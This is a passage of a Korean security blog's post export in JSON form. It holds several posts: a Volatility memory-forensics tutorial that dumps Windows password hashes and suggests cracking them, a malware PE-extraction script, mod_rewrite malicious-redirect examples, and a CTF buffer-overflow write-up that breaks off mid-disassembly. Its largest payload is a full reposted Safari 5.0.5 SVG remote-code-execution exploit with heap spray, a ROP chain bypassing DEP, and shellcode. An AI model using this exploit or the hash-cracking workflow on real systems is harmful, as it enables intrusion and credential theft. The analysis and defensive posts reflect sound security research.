http://www.exploit-db.com/exploits/18437/\n","date":"2011-09-09T14:01:59Z","permalink":"/2011/09/09/adobe-flash-player-cve-2011-2140-%EC%B7%A8%EC%95%BD%EC%A0%90-%EA%B0%84%EB%8B%A8-%EB%B6%84%EC%84%9D/","title":"Adobe Flash Player CVE-2011-2140 취약점 간단 분석"},{"content":"우선 Volatility를 다운로드 하도록 하자. 예전 버전은 Python을 이용하여 실행하였는데 최근에 2.0 으로 버전업 되면서 Python 없이 단독으로 실행이 가능해졌다. Volatility : https://www.volatilesystems.com/default/volatility\n이제 실행해 보도록 하자. 우선 예제 메모리 덤프 파일은 아래주소에서 다운로드 하도록 하자. 예제 메모리 덤프 파일 : http://www.cfreds.nist.gov/mem/memory-images.rar\n우선 '-h' 옵션으로 도움말을 보도록 하자.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 D:\\Security Tools\\Forensic\\Memory Tools\\volatility-2.0.standalone\u0026gt;volatility.exe -h Volatile Systems Volatility Framework 2.0 Usage: Volatility - A memory forensics analysis platform. Options: -h, --help list all available options and their default values. Default values may be set in the configuration file (/etc/volatilityrc) -d, --debug Debug volatility --info Print information about all registered objects --plugins=PLUGINS Additional plugin directories to use (colon separated) --cache-directory=C:\\Users\\ByJJoon/.cache\\volatility Directory where cache files are stored --no-cache Disable caching --tz=TZ Sets the timezone for displaying timestamps -f FILENAME, --filename=FILENAME Filename to use when opening an image -k KPCR, --kpcr=KPCR Specify a specific KPCR address --output=text Output in this format (format support is module specific) --output-file=OUTPUT_FILE write output in this file -v, --verbose Verbose information -g KDBG, --kdbg=KDBG Specify a specific KDBG virtual address --dtb=DTB DTB Address --cache-dtb Cache virtual to physical mappings --use-old-as Use the legacy address spaces -w, --write Enable write support --profile=WinXPSP2x86 Name of the profile to load -l LOCATION, --location=LOCATION A URN location from which to load an address space Supported Plugin Commands: bioskbd Reads the keyboard buffer from Real Mode memory connections Print list of open connections [Windows XP Only] connscan Scan Physical memory for _TCPT_OBJECT objects (tcp connections) crashinfo Dump crash-dump information dlldump Dump DLLs from a process address space dlllist Print list of loaded dlls for each process driverscan Scan for driver objects _DRIVER_OBJECT filescan Scan Physical memory for _FILE_OBJECT pool allocations getsids Print the SIDs owning each process handles Print list of open handles for each process hashdump Dumps passwords hashes (LM/NTLM) from memory hibinfo Dump hibernation file information hivedump Prints out a hive hivelist Print list of registry hives. hivescan Scan Physical memory for _CMHIVE objects (registry hives) imagecopy Copies a physical address space out as a raw DD image imageinfo Identify information for the image inspectcache Inspect the contents of a cache kdbgscan Search for and dump potential KDBG values kpcrscan Search for and dump potential KPCR values lsadump Dump (decrypted) LSA secrets from the registry memdump Dump the addressable memory for a process memmap Print the memory map moddump Dump a kernel driver to an executable file sample modscan Scan Physical memory for _LDR_DATA_TABLE_ENTRY objects modules Print list of loaded modules mutantscan Scan for mutant objects _KMUTANT netscan Scan a Vista, 2008 or Windows 7 image for connections and sockets patcher Patches memory based on page scans printkey Print a registry key, and its subkeys and values procexedump Dump a process to an executable file sample procmemdump Dump a process to an executable memory sample pslist print all running processes by following the EPROCESS lists psscan Scan Physical memory for _EPROCESS pool allocations pstree Print process list as a tree sockets Print list of open sockets sockscan Scan Physical memory for _ADDRESS_OBJECT objects (tcp sockets) ssdt Display SSDT entries strings Match physical offsets to virtual addresses (may take a while, VERY verbose) testsuite Run unit test suit using the Cache thrdscan Scan physical memory for _ETHREAD objects userassist Print userassist registry keys and information vaddump Dumps out the vad sections to a file vadinfo Dump the VAD info vadtree Walk the VAD tree and display in tree format vadwalk Walk the VAD tree volshell Shell in the memory image D:\\Security Tools\\Forensic\\Memory Tools\\volatility-2.0.standalone\u0026gt; 이제 패스워드를 찾아 보도록 하자.\nhivescan 옵션을 이용하여 스캔한다. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 D:\\Security Tools\\Forensic\\Memory Tools\\volatility-2.0.standalone\u0026gt;volatility.exe hivescan -f xp-laptop-2005-07-04-1430.img Volatile Systems Volatility Framework 2.0 Offset (hex) 42168328 0x02837008 42195808 0x0283db60 47598392 0x02d64b38 155764592 0x0948c770 155973608 0x094bf7e8 208587616 0x0c6ecb60 208964448 0x0c748b60 234838880 0x0dff5b60 243852936 0x0e88e688 251418760 0x0efc5888 252887048 0x0f12c008 256039736 0x0f42db38 269699936 0x10134b60 339523208 0x143cb688 346659680 0x14a99b60 377572192 0x16814b60 387192184 0x17141578 509150856 0x1e590688 521194336 0x1f10cb60 523667592 0x1f368888 527756088 0x1f74eb38 hivelist 옵션을 이용하여 리스트를 확인합니다. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 D:\\Security Tools\\Forensic\\Memory Tools\\volatility-2.0.standalone\u0026gt;volatility.exe hivelist -f xp-laptop-2005-07-04-1430.img --profile=WinXPSP2x86 Volatile Systems Volatility Framework 2.0 Virtual Physical Name 0xe2610b60 0x14a99b60 \\Device\\HarddiskVolume1\\Documents and Settings\\Sarah\\Local Settings\\Application Data\\Microsoft\\Windows\\UsrClass.dat 0xe25f0578 0x17141578 \\Device\\HarddiskVolume1\\Documents and Settings\\Sarah\\NTUSER.DAT 0xe1d33008 0x0f12c008 \\Device\\HarddiskVolume1\\Documents and Settings\\LocalService\\Local Settings\\Application Data\\Microsoft\\Windows\\UsrClass.dat 0xe1c73888 0x0efc5888 \\Device\\HarddiskVolume1\\Documents and Settings\\LocalService\\NTUSER.DAT 0xe1c04688 0x0e88e688 \\Device\\HarddiskVolume1\\Documents and Settings\\NetworkService\\Local Settings\\Application Data\\Microsoft\\Windows\\UsrClass.dat 0xe1b70b60 0x0dff5b60 \\Device\\HarddiskVolume1\\Documents and Settings\\NetworkService\\NTUSER.DAT 0xe1658b60 0x0c748b60 \\Device\\HarddiskVolume1\\WINDOWS\\system32\\config\\software 0xe1a5a7e8 0x094bf7e8 \\Device\\HarddiskVolume1\\WINDOWS\\system32\\config\\default 0xe165cb60 0x0c6ecb60 \\Device\\HarddiskVolume1\\WINDOWS\\system32\\config\\SAM 0xe1a4f770 0x0948c770 \\Device\\HarddiskVolume1\\WINDOWS\\system32\\config\\SECURITY 0xe1559b38 0x02d64b38 [no name] 0xe1035b60 0x0283db60 \\Device\\HarddiskVolume1\\WINDOWS\\system32\\config\\system 0xe102e008 0x02837008 [no name] 0x8068d73c 0x0068d73c [no name] hashdump 옵션을 통해 hivelist에서 찾은 System 및 SAM Hive offset 값을 입력하여 확인합니다. 1 2 3 4 5 6 7 8 9 D:\\Security Tools\\Forensic\\Memory Tools\\volatility-2.0.standalone\u0026gt;volatility.exe hashdump -f xp-laptop-2005-07-04-1430.img -y 0xe1035b60 -s 0xe165cb60 Volatile Systems Volatility Framework 2.0 Administrator:500:08f3a52bdd35f179c81667e9d738c5d9:ed88cccbc08d1c18bcded317112555f4::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: HelpAssistant:1000:ddd4c9c883a8ecb2078f88d729ba2e67:e78d693bc40f92a534197dc1d3a6d34f::: SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:8bfd47482583168a0ae5ab020e1186a9::: phoenix:1003:07b8418e83fad948aad3b435b51404ee:53905140b80b6d8cbe1ab5953f7c1c51::: ASPNET:1004:2b5f618079400df84f9346ce3e830467:aef73a8bb65a0f01d9470fadc55a411c::: Sarah:1006:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: 획득한 덤프를 ophcrack이나 Cain\u0026amp;Abel 툴을 이용하여 크랙한다. ","date":"2011-08-27T15:27:06Z","permalink":"/2011/08/27/volatility%EB%A5%BC-%EC%9D%B4%EC%9A%A9%ED%95%98%EC%97%AC-memory-dump%EC%97%90%EC%84%9C-%EC%9C%88%EB%8F%84%EC%9A%B0-%ED%8C%A8%EC%8A%A4%EC%9B%8C%EB%93%9C-%EC%B0%BE%EA%B8%B0/","title":"Volatility를 이용하여 Memory Dump에서 윈도우 패스워드 찾기"},{"content":"2011년 8월 26일 오후 9시 부터 27일 오후 9시까지 24시간 예선 대회가 있었습니다. 저희는 -cesi- 이라는 팀이름으로 참가를 하였습니다. (이제 팀 이름도 바꿀때가 된듯...)\n전체 순위 3위로 작년에 이어 올해도 본선 진출을 하게 되었네요. 올해는 본선에서 작년보다 좀 더 나은 성적을 기대해 봅니다.\n","date":"2011-08-27T14:36:08Z","permalink":"/2011/08/27/2011%EB%85%84-isec-%EB%B3%B8%EC%84%A0-%EC%A7%84%EC%B6%9C/","title":"2011년 ISEC 본선 진출!"},{"content":"최근 Python 스크립트를 작성하는데 여러 함수와 클레스가 사용되는 스크립트라 Eclipse의 PyDev 플러그인을 이용하여 작성해 보았다.\n나름 쓸만하였고 테마까지 셋팅해주니 앞으로 이것만 계속 쓸거 같은 느낌? 셋팅 과정에서 에러가 발생하는 부분이 있어 다음에 설치 시 삽질을 줄이고자 기록해 둔다.\n우선 이클립스를 다운로드 하자. Eclipse : http://www.eclipse.org 어떤 패키지도 상관없으나 난 PyDev만 사용할것이므로 용량이 제일 적은 패키지인 \u0026quot;Eclipse for Testers\u0026quot; 로 설치하였다. 추가로 당연하겠지만 Eclipse 실행을 하려면 JRE가 설치되어 있어야 한다.\nEclipse를 실행하여 [Help] - [Install New Software] 를 선택하여 [Add] 버튼을 눌러 아래 다운로드 주소를 추가 한다. PyDev : http://pydev.org/updates\n추가를 하면 PyDev가 나오며 체크를 하여 설치를 하면 되는데, 여기서 \u0026quot;Contect all update sites during install to required software\u0026quot; 에는 체크를 꼭 풀고 설치를 하자. 이때문에 설치 과정에서 에러가 자주 발생했다.\n그리고 아래 플러그인 들도 추천한다. 테마 : http://eclipse-color-theme.github.com/update/ Word Wrap : http://ahtik.com/eclipse-update/\n역시 설치 시 \u0026quot;Contect all update sites during install to required software\u0026quot; 에는 체크를 풀고 하도록 하자.\n","date":"2011-08-02T23:41:18Z","permalink":"/2011/08/02/eclipse-with-pydev/","title":"Eclipse with PyDev"},{"content":"평소 생각만 하고 언젠가 한번쯤 코딩해봐야지 했던 도구였는데 우연히 보게 되었다.\n이 스크립트는 주로 타켓 공격에 많이 이용되는 PDF나 DOC 등 문서 파일의 취약점을 이용하여 악성코드를 감염시킬 때, 만약 문서파일 내부에 악성 PE파일이 있을 경우 뽑아주는 스크립트 이다.\n물론 파일 내부에 삽입하지 않고 외부에서 다운로드 받아 실행하는 쉘코드가 들어가 있는 경우도 있지만 경험 상 PE파일이 삽입된 경우가 많았다.\n이 스크립트에 사용된 라이브러리도 앞으로 꽤나 유용하게 쓰일거 같다 :-)\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 #!/usr/bin/python # [ pyexedump.py ] # # By Neil Archibald # import sys import yara # http://code.google.com/p/yara-project/ import pefile # http://code.google.com/p/pefile/ import md5 import mmap class exedump: __srch = \u0026#34;\u0026#34;\u0026#34; rule exe_drop { strings: $a = \u0026#34;This program cannot be run in DOS mode\u0026#34; condition: all of them } \u0026#34;\u0026#34;\u0026#34; MZSIZE = 78 def __init__(self, search_file): self.__offset = None self.__pe = None self.__pe_size = None self.__map = None self.__rules = yara.compile(source=exedump.__srch) self.__search_file = search_file self.__matches = self.__rules.match(self.__search_file) # end __init__ def __set_pe_size(self): largest = 0 for section in self.__pe.sections: addr = section.PointerToRawData + section.SizeOfRawData if(addr \u0026gt; largest): largest = addr # end if # end for self.__pe_size = largest def has_pe(self): return (self.__matches and len(self.__matches) != 0) def find_pe(self): if not self.has_pe(): return None self.__offset = self.__matches[0].strings[0][0] - exedump.MZSIZE # offset in file to start of MZ header return self.__offset def parse_pe(self): if self.__offset == None and self.find_pe() == None: return None fp = open(self.__search_file,\u0026#39;r+b\u0026#39;) self.__map = mmap.mmap(fp.fileno(),0) fp.close() self.__pe = pefile.PE(data=self.__map[self.__offset:]) self.__set_pe_size() self.__map = self.__map[self.__offset:self.__offset + self.__pe_size] #truncate extra bits return self.__pe_size def write_pe(self, filename=None): if not self.__map: return None if not filename: filename = self.gen_filename() fp = open(filename, \u0026#34;wb+\u0026#34;) fp.write(self.__map) fp.close() return filename def gen_filename(self): m = md5.new() m.update(self.__map) filename = m.hexdigest() + \u0026#34;.exe\u0026#34; return filename def get_filesize(self): if self.__pe_size == None: self.__pe_size = self.__set_pe_size() return self.__pe_size # end exedump def main(argv): if(len(argv) != 2): print \u0026#34;usage: %s \\n\u0026#34; % argv[0] sys.exit(1) # end if ed = exedump(argv[1]) if not ed.has_pe(): print \u0026#34;[!] error: no embedded executable file detected\u0026#34; sys.exit(1) # end if print \u0026#34;[+] Searching for embedded EXE file in: %s\u0026#34; % argv[1] offset = ed.find_pe() print \u0026#34;[+] Found file embedded EXE at offset: 0x%x\u0026#34; % offset file_size = ed.parse_pe() print \u0026#34;[+] Size of PE file: 0x%x bytes.\u0026#34; % file_size exefilename = ed.gen_filename() print \u0026#34;[+] Writing out exe file to: %s.\u0026#34; % exefilename ed.write_pe(exefilename) # end main if __name__ == \u0026#34;__main__\u0026#34;: main(sys.argv) # end if 출처 : http://blogs.cisco.com/security/extracting-exe-drop-malware/\n","date":"2011-07-27T23:12:40Z","permalink":"/2011/07/27/extracting-exe-drop-malware/","title":"Extracting EXE Drop Malware"},{"content":"악성코드 유포에 이용될수도 있을거 같아 기록해 둡니다. http://www.exploit-db.com/exploits/17575/\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;script\u0026gt; /* Abysssec Public Advisory apple killed one of our 0day no point to keep it private anymore :( there is another version of exploit using POPup and thats more reliable but as you know safari block pop up by default so we found a cool way to bypass it and stand alone module . this exploiting using ROP to bypass permanent DEP. note : Change spray range if not work on your machine. CVE-2011-0222 : WebKit, as used in Apple Safari before 5.0.6, allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted web site a different vulnerability than other WebKit CVEs listed in APPLE-SA-2011-07-20-1. Tested on windows XP SP3 and safari 5.0.5 feel free to contact us at : info [at] abysssec.com and follow @abysssec for updates */ var cur_id; var object_whiteList = {\u0026#39;document\u0026#39;:1, \u0026#39;rootElement\u0026#39;:1, \u0026#39;preserveAspectRatio\u0026#39;:1,\u0026#39;baseVal\u0026#39;:1, \u0026#39;align\u0026#39;:1 }; function crash(target) { var members = []; for (var name in target) members.push(name); for (var num in members) { var name = members[num]; if(object_whiteList[name] != 1) continue; var cur_value = null; cur_value = eval(\u0026#39;target.\u0026#39; + name); if (typeof cur_value == \u0026#39;object\u0026#39; ) crash(cur_value); } }; function toggle_gc() { for (var i = 0; i \u0026lt; 10000; i++) { var s = new String(\u0026#34;AAAA\u0026#34; + Math.random()); eval(\u0026#34;gc_string = s\u0026#34;); } } function spray(size, n, payload) { var string_size = size / 2; var str = payload; var c = unescape(\u0026#39;%u4545%u4545\u0026#39;); while (str.length \u0026lt; string_size) str += c; var h1 = []; h1[0] = str.substring(0, string_size) for( i = 1; i \u0026lt;= n; i++) h1[i] = unescape(h1[0]) }; var t1; var state = 0; function event_loop() { if(state == 0) crash( t1); else { var payload = unescape(\u0026#39;%u0004%u7fc0\u0026#39;); spray(32, 5000, payload); } state = (state + 1) % 2; setTimeout(\u0026#39;event_loop()\u0026#39;, 10); } function run_tests() { toggle_gc(); var payload = unescape(\u0026#39;%u0004%u7fc0%u000c%u7fc0\u0026#39; + \u0026#39;%uB1C1%u7C9F\u0026#39; // mov esp, [ecx] | some instruction | ret (stackPivot) + \u0026#39;%u0010%u7fc0%u4242%u4242\u0026#39; + \u0026#39;%uD53A%u7C96\u0026#39; // pop ecx | ret + \u0026#39;%u1AD4%u7C80\u0026#39; // virtualProtect + \u0026#39;%u29D2%u7C83\u0026#39; // mov eax, ecx | ret + \u0026#39;%u99DE%u7642\u0026#39; // call eax | pop ecx | ret + \u0026#39;%u003c%u7fc0\u0026#39; // shellcode Address + \u0026#39;%u2000%u0000\u0026#39; // size + \u0026#39;%u0040%u0000\u0026#39; // permission + \u0026#39;%u0034%u7fc0\u0026#39; + \u0026#39;%u6666%u6666\u0026#39; + \u0026#39;%u003c%u7fc0\u0026#39;); var shellcode = unescape(\u0026#34;%u9090%u8166%ufce4%u31ff%u56f6%u8b64%u3076%u768b%u8b0c%u1c76%u6e8b%u8b08%u8b36%u3c5d%u5c8b%u781d%ueb01%u4b8b%u6718%uece3%u7b8b%u0120%u8bef%u8f7c%u01fc%u31ef%u99c0%u1732%uc166%u01ca%u75ae%u66f7%ufa81%uf510%ue2e0%ucc75%u538b%u0124%u0fea%u14b7%u8b4a%u1c7b%uef01%u2c03%u6897%u652e%u6578%u6368%u6c61%u5463%u0487%u5024%ud5ff\u0026#34;); payload += shellcode; spray(300,20000, payload); t1 = window.open(\u0026#39;target.svg\u0026#39;, \u0026#39;t1\u0026#39;); setTimeout(\u0026#39;event_loop()\u0026#39;, 1000); } \u0026lt;/script\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body onload=\u0026#34;run_tests()\u0026#34;\u0026gt; \u0026lt;svg\u0026gt;\u0026lt;/svg\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 1 2 3 4 5 6 \u0026lt;?xml version=\u0026#34;1.0\u0026#34; standalone=\u0026#34;no\u0026#34;?\u0026gt; \u0026lt;!DOCTYPE svg PUBLIC \u0026#34;-//W3C//DTD SVG 1.1//EN\u0026#34; \u0026#34;http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\u0026#34;\u0026gt; \u0026lt;svg width=\u0026#34;100%\u0026#34; height=\u0026#34;100%\u0026#34; version=\u0026#34;1.1\u0026#34; xmlns=\u0026#34;http://www.w3.org/2000/svg\u0026#34;\u0026gt; \u0026lt;/svg\u0026gt; ","date":"2011-07-26T19:25:22Z","permalink":"/2011/07/26/safari-505-svg-remote-code-execution-exploit-dep-bypass/","title":"Safari 5.0.5 SVG Remote Code Execution Exploit (DEP bypass)"},{"content":"Apache Module mod_rewrite 설정에서 페이지 자동 이동과 관련된 내용을 적어보고자 한다. http://httpd.apache.org/docs/2.0/mod/mod_rewrite.html\n간단하게 사용할 수 있는 예제는 아래와 같다.\n1 2 3 4 RewriteEngine On RewriteCond %{REMOTE_ADDR} 61.84.203.81 [OR] RewriteCond %{REMOTE_ADDR} 112.167.210.121 RewriteRule .* http://en.wikipedia.org/wiki/Fuck_You [L] 접속한 사용자의 IP가 61.84.203.81 또는 112.167.210.121 인 경우 http://en.wikipedia.org/wiki/Fuck_You 페이지로 이동하도록 설정한 경우이다. 여기서 [OR] 은 또는 이며 [L] 은 위 Cond 여기까지만 적용된다는 의미이다.\n여기까지는 간략한 설정과 관련된 내용이며 위 설정 방법을 이용하여 악성행위를 어떻게 하는지 알아보자.\n악성코드 중 위와 같은 설정값을 변조하는 행위를 하는 것도 있다. 일반적으로 악성코드로 인해 위 설정값이 변조되어 나타나는 증상 중 쉽게 볼 수 있는 케이스를 한번 살펴보자.\n특정 A라는 회사의 홈페이지가 있다. 해당 회사의 홈페이지 URL을 입력하여 접속하면 잘 접속이 된다. 하지만 구글이나 기타 검색엔진에서 해당 회사를 검색하여 들어가면 성인사이트나 기타 광고페이지로 자동으로 연결되는 경우가 있다. 이는 아래와 같은 것들을 의심해볼 수 있다.\n첫 페이지(index.html, index.php 등) 에서 Referer를 체크하여 google 혹은 기타 검색엔진일 경우 성인사이트로 자동 이동하는 스크립트가 삽입되어 있는 경우, 이는 웹소스가 변조되어 나타나는 증상이며 우리가 살펴볼 케이스는 아니다.\nApache 설정상의 문제, 이것이 살펴볼 케이스인데 Apache 웹루트의 .htaccess 파일 혹은 아파치 설정파일에 아래와 같은 설정값이 기록되어 있으면 문제가 발생한다.\n1 2 3 RewriteEngine On RewriteCond %{HTTP_REFERER} .*google.*$ [NC] RewriteRule .* http://sex.com [L] 위 설정값을 풀어서 설명하자면 Referer가 \u0026quot;[아무문자]google(대소문자 구분없음)[아무문자]\u0026quot; 인 경우 http://sex.com 으로 이동하라는 설정값이다. 즉, 위와같은 설정값이 악성코드로 인해 삽입된다면 google 에서 검색하여 접속할 경우 성인사이트로 접속이 되는 것이다.\n","date":"2011-07-24T12:06:53Z","permalink":"/2011/07/24/apache-module-mod_rewrite-%EC%84%A4%EC%A0%95-%EA%B7%B8%EB%A6%AC%EA%B3%A0-%EC%9D%B4%EB%A5%BC-%EC%9D%B4%EC%9A%A9%ED%95%9C-%EC%95%85%EC%84%B1-%ED%96%89%EC%9C%84%EB%93%A4/","title":"Apache Module mod_rewrite 설정 그리고 이를 이용한 악성 행위들"},{"content":"이번 문제의 풀이는 이렇다. 우선 로또번호 6 자리를 맞추어야 한다. 그리고 맞추고 나면 argv[7] 값을 strcpy() 함수를 이용하 복사를 하나 이부분에서 오버플로우가 발생한다. 다만 역시 랜덤스택이라 RTL을 이용하여 풀이을 하여야 한다.\n우선 로또값을 맞추는 코드부터 작성해 보자.\n1 2 3 4 5 6 7 8 9 10 #!/usr/bin/python import os, re p = os.popen(\u0026#39;./lotto 1 2 3 4 5 6\u0026#39;, \u0026#39;r\u0026#39;, 512) data = p.readlines() tmp = re.findall(\u0026#39;\\d+\u0026#39;, data[2]) number = \u0026#39; \u0026#39;.join(tmp) payload = \u0026#39;./lotto \u0026#39; + number os.system(payload) 추가로 popen() 을 쓰지 않고 seed 값을 알므로 아래와 같이 작성하여 맞출수도 있다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 #!/usr/bin/env python import os from ctypes import * libc = CDLL(\u0026#34;libc.so.6\u0026#34;) srand = libc.srand rand = libc.rand time = libc.time srand(time(None)) num_list = [] for x in range(6): num_list.append(str(rand() % 45 +1)) number = \u0026#39; \u0026#39;.join(num_list) os.system(\u0026#39;./lotto \u0026#39; + number) 1 2 3 4 5 6 7 root@ubuntu:~# ./test.py This is lotto program!! Write 6 numbers. \u0026gt;\u0026gt; Lotto number is 44 15 30 14 26 5 Input number is 44 15 30 14 26 5 Congratulation!! 로또 번호는 정확하게 맞추는 것을 확인했다. 이제 argv[7] 값을 입력해 공격을 해보도록 하자.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 root@ubuntu:~# gdb lotto GNU gdb 6.8-debian Copyright (C) 2008 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later \u0026lt;http://gnu.org/licenses/gpl.html\u0026gt; This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type \u0026#34;show copying\u0026#34; and \u0026#34;show warranty\u0026#34; for details. This GDB was configured as \u0026#34;i486-linux-gnu\u0026#34;... (no debugging symbols found) (gdb) disassemble main Dump of assembler code for function main: 0x08048534 \u0026lt;main+0\u0026gt;: push %ebp 0x08048535 \u0026lt;main+1\u0026gt;: mov %esp,%ebp 0x08048537 \u0026lt;main+3\u0026gt;: push %ebx 0x08048538 \u0026lt;main+4\u0026gt;: sub $0x54,%esp 0x0804853b \u0026lt;main+7\u0026gt;: movw $0x0,-0x6(%ebp) 0x08048541 \u0026lt;main+13\u0026gt;: movl $0x0,-0x1c(%ebp) 0x08048548 \u0026lt;main+20\u0026gt;: movl $0x0,(%esp) 0x0804854f \u0026lt;main+27\u0026gt;: call 0x8048450 \u0026lt;time@plt\u0026gt; 0x08048554 \u0026lt;main+32\u0026gt;: mov %eax,(%esp) 0x08048557 \u0026lt;main+35\u0026gt;: call 0x80483d0 \u0026lt;srand@plt\u0026gt; 0x0804855c \u0026lt;main+40\u0026gt;: movl $0x0,-0x10(%ebp) 0x08048563 \u0026lt;main+47\u0026gt;: jmp 0x80485d9 \u0026lt;main+165\u0026gt; 0x08048565 \u0026lt;main+49\u0026gt;: call 0x8048470 \u0026lt;rand@plt\u0026gt; 0x0804856a \u0026lt;main+54\u0026gt;: mov %eax,%ecx 0x0804856c \u0026lt;main+56\u0026gt;: mov $0xb60b60b7,%edx 0x08048571 \u0026lt;main+61\u0026gt;: mov %ecx,%eax 0x08048573 \u0026lt;main+63\u0026gt;: imul %edx 0x08048575 \u0026lt;main+65\u0026gt;: lea (%edx,%ecx,1),%eax 0x08048578 \u0026lt;main+68\u0026gt;: mov %eax,%edx 0x0804857a \u0026lt;main+70\u0026gt;: sar $0x5,%edx 0x0804857d \u0026lt;main+73\u0026gt;: mov %ecx,%eax 0x0804857f \u0026lt;main+75\u0026gt;: sar $0x1f,%eax 0x08048582 \u0026lt;main+78\u0026gt;: mov %edx,%ebx 0x08048584 \u0026lt;main+80\u0026gt;: sub %eax,%ebx 0x08048586 \u0026lt;main+82\u0026gt;: mov %ebx,%eax 0x08048588 \u0026lt;main+84\u0026gt;: imul $0x2d,%eax,%eax 0x0804858b \u0026lt;main+87\u0026gt;: mov %ecx,%edx 0x0804858d \u0026lt;main+89\u0026gt;: sub %eax,%edx 0x0804858f \u0026lt;main+91\u0026gt;: mov %edx,%eax 0x08048591 \u0026lt;main+93\u0026gt;: add $0x1,%eax 0x08048594 \u0026lt;main+96\u0026gt;: mov %eax,-0x18(%ebp) 0x08048597 \u0026lt;main+99\u0026gt;: movl $0x0,-0x14(%ebp) 0x0804859e \u0026lt;main+106\u0026gt;: jmp 0x80485bd \u0026lt;main+137\u0026gt; 0x080485a0 \u0026lt;main+108\u0026gt;: mov -0x14(%ebp),%eax 0x080485a3 \u0026lt;main+111\u0026gt;: mov -0x4c(%ebp,%eax,4),%eax 0x080485a7 \u0026lt;main+115\u0026gt;: cmp -0x18(%ebp),%eax 0x080485aa \u0026lt;main+118\u0026gt;: jne 0x80485b9 \u0026lt;main+133\u0026gt; 0x080485ac \u0026lt;main+120\u0026gt;: subl $0x1,-0x10(%ebp) 0x080485b0 \u0026lt;main+124\u0026gt;: movl $0x0,-0x18(%ebp) 0x080485b7 \u0026lt;main+131\u0026gt;: jmp 0x80485c5 \u0026lt;main+145\u0026gt; 0x080485b9 \u0026lt;main+133\u0026gt;: addl $0x1,-0x14(%ebp) 0x080485bd \u0026lt;main+137\u0026gt;: mov -0x14(%ebp),%eax 0x080485c0 \u0026lt;main+140\u0026gt;: cmp -0x10(%ebp),%eax 0x080485c3 \u0026lt;main+143\u0026gt;: jl 0x80485a0 \u0026lt;main+108\u0026gt; 0x080485c5 \u0026lt;main+145\u0026gt;: cmpl $0x0,-0x18(%ebp) 0x080485c9 \u0026lt;main+149\u0026gt;: je 0x80485d5 \u0026lt;main+161\u0026gt; 0x080485cb \u0026lt;main+151\u0026gt;: mov -0x10(%ebp),%eax ---Type \u0026lt;return\u0026gt; to continue, or q \u0026lt;return\u0026gt; to quit--- 0x080485ce \u0026lt;main+154\u0026gt;: mov -0x18(%ebp),%edx 0x080485d1 \u0026lt;main+157\u0026gt;: mov %edx,-0x4c(%ebp,%eax,4) 0x080485d5 \u0026lt;main+161\u0026gt;: addl $0x1,-0x10(%ebp) 0x080485d9 \u0026lt;main+165\u0026gt;: cmpl $0x5,-0x10(%ebp) 0x080485dd \u0026lt;main+169\u0026gt;: jle 0x8048565 \u0026lt;main+49\u0026gt; 0x080485df \u0026lt;main+171\u0026gt;: mov $0x80488e4,%eax 0x080485e4 \u0026lt;main+176\u0026gt;: mov %eax,(%esp) 0x080485e7 \u0026lt;main+179\u0026gt;: call 0x8048430 \u0026lt;printf@plt\u0026gt; 0x080485ec \u0026lt;main+184\u0026gt;: cmpl $0x6,0x8(%ebp) 0x080485f0 \u0026lt;main+188\u0026gt;: jg 0x8048608 \u0026lt;main+212\u0026gt; 0x080485f2 \u0026lt;main+190\u0026gt;: movl $0x8048913,(%esp) 0x080485f9 \u0026lt;main+197\u0026gt;: call 0x8048460 \u0026lt;puts@plt\u0026gt; 0x080485fe 